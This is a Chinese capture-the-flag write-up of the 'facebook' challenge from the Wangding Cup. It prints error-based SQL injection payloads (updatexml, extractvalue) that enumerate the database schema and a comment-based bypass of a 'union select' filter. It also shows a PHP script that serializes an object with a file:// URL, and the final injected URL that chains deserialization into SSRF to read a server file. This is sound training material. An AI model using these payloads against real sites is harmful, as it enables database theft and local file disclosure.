简单记录一下adword的刷题记录

facebook

网鼎杯的一道题

页面有两个功能,一个注册,一个登陆

注册需要一个blog地址,随便写了一个www.baidu.com

下面出现了一个白条,推测可能是百度加载之后的内容,

扫目录拿到两个文件

1
2
robots.txt
user.php.bak
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

这里有一个userinfo类,get方法会访问blog的地址,但是有正则限制,没法打到VPS

在注册界面还有一个报错的sql注入

报一下数据库

1
qwe' and (extractvalue(1, concat(0x5c,(select user()))))%23

试了一会发现,只会报错不能显示数据

后来发现在 view.php界面也存在一个sql注入

还有一点过滤 过滤了0x 改一个别的数,不符合xpath格式 就可以了

1
/view.php?no=2 and (updatexml(1,concat(1,(select database())),1))%23

拿到库名facebook

1
/view.php?no=2%20and%20(updatexml(1,concat(1,(select%20group_concat(table_name)%20from+information_schema.tables+where+table_schema=database())),1))%23

就拿到一个users表

1
/view.php?no=2%20and%20(updatexml(1,concat(1,(select%20group_concat(column_name)%20from+information_schema.columns+where+table_name='users')),1))%23

拿到这么几列

no,username,passwd,data,USER,CUR

之前扫目录还拿到一个flag.php 估计flag就在这里面,配合上SSRF应该就能读flag

关注一下data列

1
/view.php?no=2%20and%20(updatexml(1,concat(1,(select%20group_concat(data)%20from+users)),1))%23

结果是一串反序列化的数据

O:8:”UserInfo”:3:{s:4:”name”;s:5’

发现一个问题,这串反序列化数据,不太对,有点少。想起了updatexml报错注入的长度限制32位

用了一下floor 一直爆子查询错误 ,用substr把

1
2
s:5:"admin";s:3:"age";i:1;s:4:"b
;i:1;s:4:"blog";s:20:"http://ww

到这里就很明显了,有一个Blog

在数据被拿出来的时候,会经过反序列化,然后会去访问blog的地址, 而且在反序列化的时候,是不会经过正则验证那一步的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
}
$a=new UserInfo('qwe2','1','file:///var/www/html/flag.php');
echo urlencode(serialize($a));

使用union直接控制查询结果 union需要绕过一下,过滤了union select

1
GET /view.php?no=-2 union/**/select 1,2,3,4%23

这里需要测试出那一列是data

这里要注意,反序列化的字符串要加上引号

1
/view.php?no=-3+union/**/select+1,2,3,'O%3A8%3A%22UserInfo%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22qwe2%22%3Bs%3A3%3A%22age%22%3Bi%3A1%3Bs%3A4%3A%22blog%22%3Bs%3A29%3A%22file%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fflag.php%22%3B%7D'%23